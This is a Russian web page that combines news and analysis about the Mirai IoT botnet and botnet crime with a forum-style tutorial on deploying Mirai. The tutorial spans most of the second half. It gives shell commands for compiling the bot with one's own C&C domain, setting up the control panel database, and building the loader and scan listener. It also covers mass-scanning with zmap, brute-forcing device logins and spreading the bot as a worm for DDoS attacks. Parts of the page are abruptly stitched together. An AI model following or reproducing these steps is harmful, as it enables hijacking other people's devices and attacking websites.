Установка и настройка Mirai ботнета. Опубликован исходный код DDoS-зловреда Mirai

Установка и настройка Mirai ботнета. Опубликован исходный код DDoS-зловреда Mirai
Установка и настройка Mirai ботнета. Опубликован исходный код DDoS-зловреда Mirai

Об опасности доступных из Интернета встроенных устройств нам не дают забыть мощные DDoS-атаки. Один из таких киберинцидентов произошел , когда на сайт известного блогера и ИБ-исследователя Брайана Кребса обрушился мусорный поток, на пике достигший 620 Гбит/с.

В конце прошлой недели проблема, связанная с наличием огромной армии открытых устройств, усугубилась: исходный код зловреда Mirai, генерировавшего этот мощный трафик, был опубликован на сайте Hackforums.

«Новость - не само явление, а осознание атакующими наличия в Сети огромной армии устройств с огрехами в конфигурации, такими как дефолтные идентификаторы, которыми легко воспользоваться, - говорит Роланд Доббинс (Roland Dobbins), ведущий инженер Arbor Networks. - На самом деле, если говорить о пропускной способности, они более эффективны, чем компьютеры общего назначения, так как они не отягчены пользовательским интерфейсом и обычно не очень сильно нагружены».

Помимо этого смарт-устройства постоянно включены, а сетевые администраторы, по словам Доббинса, редко реагируют на чрезмерную активность, исходящую с таких устройств. «Они обычно работают бесконтрольно и развернуты в сетях, операторы которых не обращают внимания на входящий и исходящий трафик, - сетует эксперт. - К тому же таких устройств великое множество. Злоумышленники прекрасно знают, что из них можно составить ботнет для проведения мощных атак».

Mirai особенно опасен тем, что он постоянно сканирует Интернет в поисках дефолтных и вшитых идентификаторов. Лучшая защита от таких зловредов - смена учетных данных, так как простой перезапуск может привести к повторному инфицированию, как справедливо отметил Кребс.

«Атаки такого типа уже пришли на смену [традиционным DDoS], - констатирует Доббинс. - IoT-ботнеты - отнюдь не грядущая угроза. Меня беспокоит не будущее, а прошлое. Если бы у меня была волшебная палочка, я бы сделал так, чтобы всех этих ненадежных устройств не было. А пока мы по-прежнему имеем большую проблему, в Интернете все еще присутствуют десятки миллионов таких устройств».

Атаки ботнета Mirai на американского DNS-провайдера Dyn в 2016 году вызвали широкий резонанс и привлекли повышенное внимание к ботнетам. Однако, по сравнении с тем, как современные киберпреступники используют ботнеты сегодня, атаки на компанию Dyn могут показаться детскими шалостями. Преступники быстро научились использовать ботнеты для запуска сложных вредоносных программ, позволяющих создавать целые инфраструктуры из зараженных компьютеров и других устройств с выходом в Интернет для получения незаконной прибыли в огромных масштабах.

В последние годы правоохранительные органы добились определенных успехов в борьбе с преступной деятельностью, связанной с использованием ботнетов, но пока этих усилий, конечно же, недостаточно, чтобы пробить достаточную брешь в ботнетах под управлением киберпреступников. Вот несколько известных примеров:

  • Министерство юстиции США предъявило обвинение двум молодым людям за их роль в разработке и использовании ботнета Mirai: 21-летнему Парасу Джа (Paras Jha) и 20-летнему Джошуа Вайту (Josiah White). Их обвиняют в организации и проведении DDoS-атак на компании, а затем требовании выкупа за их прекращение, а также по продаже этим компаниям «услуг» по предотвращению подобных атак в будущем.
  • Испанские власти в рамках трансграничной операции по запросу США арестовали жителя Санкт-Петербурга Петра Левашова, известного в киберпреступных кругах как Peter Severa. Он управлял Kelihos, одним из самых долго существовавших в Интернете ботнетов, который, как оценивается, заразил около 100 тыс. компьютеров. Помимо вымогательства, Петр Левашов активно использовал Kelihos для организации спам-рассылок, беря по $200-$500 за миллион сообщений.
  • В прошлом году два израильских тинэйджера были арестованы по обвинению в организации DDoS-атак за вознаграждение. Пара успела заработать около $600 тыс. и провести порядка 150 тыс. DDoS-атак.

Ботнеты представляют собой компьютерные сети, состоящие из большого количества подключенных к Интернету компьютеров или других устройств, на которых без ведома их владельцев загружено и запущено автономное программное обеспечение — боты. Интересно, что первоначально сами боты были разработаны как программные инструменты для автоматизации некриминальных однообразных и повторяемых задач. По иронии судьбы, один из первых успешных ботов, известный как Eggdrop, и созданный в 1993 году, был разработан для управления и защиты каналов IRC (Internet Relay Chat) от попыток сторонних лиц захватить управление ими. Но криминальные элементы быстро научились использовать мощь ботнетов, применяя их как глобальные, практически автоматические системы, приносящие прибыль.

За это время вредоносное программное обеспечение ботнетов значительно развилось, и сейчас может использовать различные методы атак, которые происходят одновременно по нескольким направлениям. Кроме того, «ботэкономика», с точки зрения киберпреступников, выглядит чрезвычайно привлекательно. Прежде всего, практически отсутствуют затраты на инфраструктуру, так как для организации сети из зараженных машин используются скомпрометированные компьютеры и другое оборудование с поддержкой выхода в Интернет, естественно, без ведома владельцев этих устройств. Эта свобода от вложений в инфраструктуру означает, что прибыль преступников будет фактически равна их доходу от незаконной деятельности. Помимо возможности использовать столь «выгодную» инфраструктуру, для киберпреступников также чрезвычайно важна анонимность. Для этого при требовании выкупа они, в основном, используют такие «не отслеживаемые» криптовалюты, как Bitcoin. По этим причинам ботнеты стали наиболее предпочитаемой платформой для киберкриминала.

С точки зрения реализации различных бизнес-моделей, ботнеты являются прекрасной платформой для запуска различной вредоносной функциональности, приносящей киберпреступникам незаконный доход:

  • Быстрое и масштабное распространение электронных писем, содержащих программы-вымогатели, требующие выкуп.
  • Как платформа для накручивания числа кликов по ссылке.
  • Открытие прокси-серверов для анонимного доступа в Интернет.
  • Осуществление попыток взлома других интернет-систем методом полного перебора (или «грубой силы»).
  • Проведение массовых рассылок электронных писем и осуществление хостинга подложных сайтов при крупномасштабном фишинге.
  • Увод CD-ключей или других лицензионных данных на программное обеспечение.
  • Кража персональной идентификационной информации.
  • Получение данных о кредитных карточках и другой информации о банковском счете, включая PIN-коды или «секретные» пароли.
  • Установка клавиатурных шпионов для захвата всех данных, которые пользователь вводит в систему.

Как создать ботнет?

Важным фактором, способствующим популярности использования ботнетов среди киберпреступников в наше время, является та относительная легкость, с которой можно собрать, поменять и усовершенствовать различные компоненты вредоносного программного обеспечения ботнета. Возможность для быстрого создания ботнета появилась еще в 2015 году, когда в общем доступе оказались исходные коды LizardStresser, инструментария для проведения DDoS-атак, созданного известной хакерской группой Lizard Squad. Скачать ботнет для проведения DDOS атак сегодня может любой школьник (что они уже и делают, как пишут новостные издания по всему миру).

Легко доступный для скачивания и простой в использовании код LizardStresser содержит некоторые сложные методы для осуществления DDoS-атак: держать открытым TCP-соединения, посылать случайные строки с мусорным содержанием символов на TCP-порт или UDP-порт, или повторно отправлять TCP-пакеты с заданными значениями флагов. Вредоносная программа также включала механизм для произвольного запуска команд оболочки, что является чрезвычайно полезным для загрузки обновленных версий LizardStresser с новыми командами и обновленным списком контролируемых устройств, а также для установки на зараженное устройство другого вредоносного программного обеспечения. С тех пор были опубликованы исходные коды и других вредоносным программ для организации и контроля ботнетов, включая, в первую очередь, ПО Mirai, что драматически уменьшило «высокотехнологический барьер» для начала криминальной активности и, в то же время, увеличило возможности для получения прибыли и гибкости применения ботнетов.

Как интернет вещей (IoT) стал клондайком для создания ботнетов

С точки зрения количества зараженных устройств и генерируемого ими во время атак трафика, взрывоподобный эффект имело массовое использование незащищенных IoT-устройств, что привело к появлению беспрецедентным по своим масштабам ботнетов. Так, примеру, летом 2016 года до и непосредственно во время Олимпийских Игр в Рио-де-Жанейро один из ботнетов, созданный на основе программного кода LizardStresser, в основном использовал порядка 10 тыс. зараженных IoT-устройств (в первую очередь — веб-камеры) для осуществления многочисленных и продолжительных во времени DDoS-атак с устойчивой мощностью более 400 Гбит/с, достигшей значения 540 Гбит/с во время своего пика. Отметим также, что, согласно оценкам, оригинальный ботнет Mirai смог скомпрометировать около 500 тыс. IoT-устройств по всему миру.

Несмотря на то, что после подобных атак многие производители внесли некоторые изменения, IoT-устройства в большинстве своем все еще поставляются с предустановленными заводскими настройками имени пользователя и пароля либо с известными уязвимостями в безопасности. Кроме того, чтобы сэкономить время и деньги, часть производителей периодически дублируют используемое аппаратное и программное обеспечение для разных классов устройств. Как результат: пароли по умолчанию, используемые для управления исходным устройством, могут быть применены для множества совершенно других устройств. Таким образом, миллиарды незащищенных IoT-устройств уже развернуты. И, несмотря на то, что прогнозируемый рост их количества замедлился (хоть и незначительно), ожидаемое увеличение мирового парка «потенциально опасных» IoT-устройств в обозримом будущем не может не шокировать (см. график ниже).

Многие IoT-устройства прекрасно подходят для неправомочного использования в составе преступных ботнетов, так как:

  • В большинстве своем они неуправляемы, другими словами, работают без должного контроля со стороны системного администратора, что делает их применение как анонимных прокси чрезвычайно эффективным.
  • Обычно они находятся онлайн 24x7, а значит — они доступны для осуществления атак в любое время, причем, как правило, без каких-либо ограничения по пропускной способности или фильтрации трафика.
  • Они часто используют урезанную версию операционной системы, реализованную на базе семейства Linux. А вредоносное программное обеспечение ботнетов может быть легко скомпилировано для широко используемых архитектур, в основном — ARM/MIPS/x86.
  • Урезанная операционная система автоматически означает меньше возможностей для реализации функций безопасности, включая формирование отчетности, поэтому большинство угроз остаются незамеченными владельцами этих устройств.

Вот еще один недавний пример, который поможет осознать ту мощь, которой могут обладать современные криминальные инфраструктуры ботнета: в ноябре 2017 года ботнет Necurs осуществил рассылку нового штамма вируса-шифровальщика Scarab. В результате массовой компании было отправлено около 12,5 млн. инфицированных электронных писем, то есть скорость рассылки составила более чем 2 млн. писем в час. К слову, этот же ботнет был замечен в распространении банковских троянов Dridex и Trickbot, а также вирусов-вымогателей Locky и Jans.

Выводы

Сложившаяся в последние годы благодатная ситуация для киберпреступников, связанная с высокой доступностью и простотой использования более сложного и гибкого вредоносного программного обеспечения для ботнетов в сочетании со значительным приростом количества незащищенных IoT-устройств, сделало криминальные ботнеты основным компонентом растущей цифровой подпольной экономики. В этой экономике есть рынки для сбыта полученных нелегальным путем данных, осуществления вредоносных действий против конкретных целей в рамках предоставления услуг по найму, и даже для собственной валюты. И все прогнозы аналитиков и специалистов по безопасности звучат крайне неутешительно — в обозримом будущем ситуация с неправомерным использованием ботнетов для получения незаконной прибыли только ухудшится.

Вечный параноик, Антон Кочуков.


См. также:

Нам понадобится два VPS KVM сервера и домен. Виртуализация именно KVM, OpenVZ мимо в этот раз.

Сервера я беру здесь -

На одном сервере будем ставить сам ботнет, на втором будем сканировать ботов. (брутить)

ВАЖНО. Сервера должны быть на базе Debian 8, и иметь как минимум 1GB RAM.

Домен любой, без разницы.

Извините конечно, но рассказывать как прикрутить домен к VPS я не буду. Это не сложно, сами разберетесь.

PuTTY и начинаем.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang electric-fence screen sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

При установке MySQL, нужно будет создать пароль для доступа к MySQL для root пользователя. Пароль нормальный придумаете, без всяких " qwerty "

Запишите куда нибудь, он нам еще будет нужен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

# bash < <(curl -s -S -L

Вы должны быть зарегистрированы, чтобы видеть ссылки.

)

# gvm install go1.4

# gvm use go1.4 [--default]

# gvm install go1.4 -B

# gvm use go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm install go1.5

# gvm use go1.5

# gvm install go1.8

# gvm use go1.8

После установки всех утилит, качаем исходники бота -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

И загружаем на сервер. Командой wget , или просто через программу WinSCP .

# unzip Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc string ******* (свой домен пишем, который прикрутили к серверу) и жмем Enter.

Тут вы увидите такой текст -

XOR"ing 14 bytes of data...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - тут будет другая цифра у вас, так что не волнуйтесь, всё правильно.

Копируем весь этот текст.

Открываем через nano редактор, или же через WinSCP файл table.c который находится в папке mirai/bot

Должны увидеть это -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Строка add_entry(TABLE_CNC_DOMAIN - всё что в кавычках меняем на свой текст, который только что скопировали. Вместо " 30 " пишем свою цифру, которую тоже только что скопировали. Тоже самое делаем с строкой add_entry(TABLE_SCAN_CB_DOMAIN

Сохраняем, и закрываем редактор.

Открываем редактором файл mirai/cnc/main.go

Видим это -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

"127.0.0.1" меняем на "127.0.0.1:3306"

"password" меняем на наш MySQL пароль который вводили ранее. "

Сохраняем файл, и закрываем редактор.

Просто копируйте всю эту хуйню, рассказывать зачем это нужно, не буду -

# mkdir /etc/xcompile

# cd /etc/xcompile

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

# mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql

# go get github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh debug telnet

# ./build.sh release telnet

# mv mirai* /var/www/html

# cd /var/www/html

# mkdir bins

# mv * bins/

Теперь MySQL.

# mysql -u root -p

Тут попросят пароль. Вводим пароль который ранее установили.

# create database mirai;

# use mirai

Теперь копируем весь текст от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вставляем, и жмем Enter.

Копируем текст от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вместо anna-senpai пишем свой логин. Любой. Так же и с myawesomepassword. Эти данные нам нужны будут для доступа в панель управления ботом.

Должно быть вот так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Копируем, вставляем, жмем Enter.

Теперь можно выходить.

Уже почти всё.

# cd Mirai-Source-Code-master/mirai/release

# touch prompt.txt

# screen ./cnc

Должны увидеть надпись MySQL DB opened

Не закрываем эту сессию, открываем новую.

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вместо ******* пишем свой домен, и жмем Open.

Вводим логин и пароль, в моем случае это -

zaebalsjapisatj

Всё, мы в панели управления ботом.

Теперь нам нужны боты. Тут всё просто, инсталлы никакие не нужны.

Настроим loader.

Loader нужен для того чтобы ботов можно было бы добавлять с текстовых файлов. Допустим набрутили мы loT устройств (роутеры, камеры, телефоны) и чтобы их добавить в бот, нужен loader.

Так же loader это " червь "

Подключаемся к нашему серверу через PuTTY и WinSCP.

С помощью WinSCP находим файл main.c в папке Mirai-Source-Code-master/dlr

Пишем IP нашего сервера как на скрине -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Запятые оставляем, так и должно быть. Сохраняем и закрываем.

Теперь с PyTTY заходим на наш сервак и пишем -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# cd release

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Теперь открывем WinSCP и находим файл main.c в папке Mirai-Source-Code-master/loader/src

Меняем на свой IP как на скрине -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Сохраняем и закрываем.

Через PuTTY -

# ./build.sh

С помощью WinSCP открываем файл scanListen.go который можно найти в папке Mirai-Source-Code-master/mirai/tools

Меняем на свой IP сервера -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Потом с PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# go build scanListen.go

Теперь у нас появился новый файл - scanListen (без .go , просто scanListen )

scanListen нужно переместить в папку Mirai-Source-Code-master/loader

Просто с помощью WinSCP кидаем его в папку loader

Теперь проверим работает ли всё

# ./loader

Если видите то что на скрине, значит всё правильно -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Если возникают ошибки, пишите в тему, помогу.

Чтобы загрузить ботов с списка, кидаем текстовик в папку loader и набираем команду -

# cat list.txt | ./loader

Всё, все боты которых вы набрутили будут у вас, будут ложить сайты по вашей команде.

Я лично этот способ не использовал, нашел легче способ.

Тут нам нужен второй сервер. Так же на Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap нам нужен для сканирования портов. Принцип работы как у KPortScan , только в 50 раз быстрей.

Копируем весь код от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

И сохраняем как scan.py

Тут вы можете добавить свои пароли, и логины -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Строку combo не трогаем!

Тут нужно прописать IP сервера на котором стоит бот -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Меняем всё, и сохраняем.

Файл scan.py кидаем в любое место на нашем сервере. На втором сервере, который чисто для сканирования, тот на котором бот не трогаем.

Нам нужны IP которые мы будем сканировать.

#zmap -p22 -o list.txt -B 100M (можно и другие порты сканировать, я сканировал 22 или 23 всегда)

Все результаты будут в файле list.txt

После того как собрали IP (чем больше тем лучше) файл list.txt кидаем рядом к файлу scan.py и пишем -

# python scan.py list.txt 500

Всё, сидим и смотрим как растет наш ботнет.

Когда наберется хотя бы 200 ботов, можно запустить loader.

Для этого заходим на сервер где установлен ботнет и -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./loader

Теперь бот будет работать по принципу " червя " и добивать еще ботов.

По сути, Mirai работает просто: он сканирует интернет в поисках уязвимых для брутфорса и взлома IoT-устройств, доступных через telnet. Малварь поражает преимущественно камеры наблюдения, DVR и роутеры, а затем продолжает размножаться, подобно червю.

От DDoS-атак, осуществленных этим ботнетом недавно и крупнейший в Европе . Пиковая мощность атак достигала 620 Гбит/с и более 1 Тб/с. Чтобы добиться таких результатов злоумышленники использовали UDP-, DNS- и HTTP-флуд, а также пакеты GRE (Generic Routing Encapsulation), что эксперты признали весьма необычным.

Выводы специалистов MalwareTech в целом совпадают с этими наблюдениями. Так, за двенадцатичасовой период исследователи зафиксировали порядка 72 000 уникальных IP-адресов, и 4000 новых IP появлялись каждый час. Из этого аналитики сделали вывод, что размеры ботнета весьма скромны – всего порядка 120 000 устройств в сутки. И хотя , что ботнет гораздо крупнее и называют цифры 1-1,5 млн ботов, с этим не согласны ни исследователи MalwareTech, ни специалисты компании Akamai.

«Mirai, который практически все игнорировали ранее, в силу простоты telnet-атак, на прошлой неделе стал едва ли не главным предметом обсуждения в СМИ по всему миру, а правоохранительные органы начали расследования, при поддержке множества международных компаний», - пишут исследователи. - «Весьма вероятно, что теперь мощные DDoS-атаки станут более распространенной практикой, так как хакеры будут находить все больше и уязвимых IoT-устройств или начнут заражать устройства, защищенные NAT. Производителям определенно пора прекратить выпускать устройства с глобальными паролями по умолчанию и переключиться на выпуск устройств со случайно сгенерированными паролями, указывая их на нижней части корпуса».

В дополнение к отчету исследователи MalwareTech приложили видео, на котором показана карта заражений Mirai (см. ниже). Также на сайте исследователей можно найти интерактивную карту ботнета , которая обновляется в реальном времени.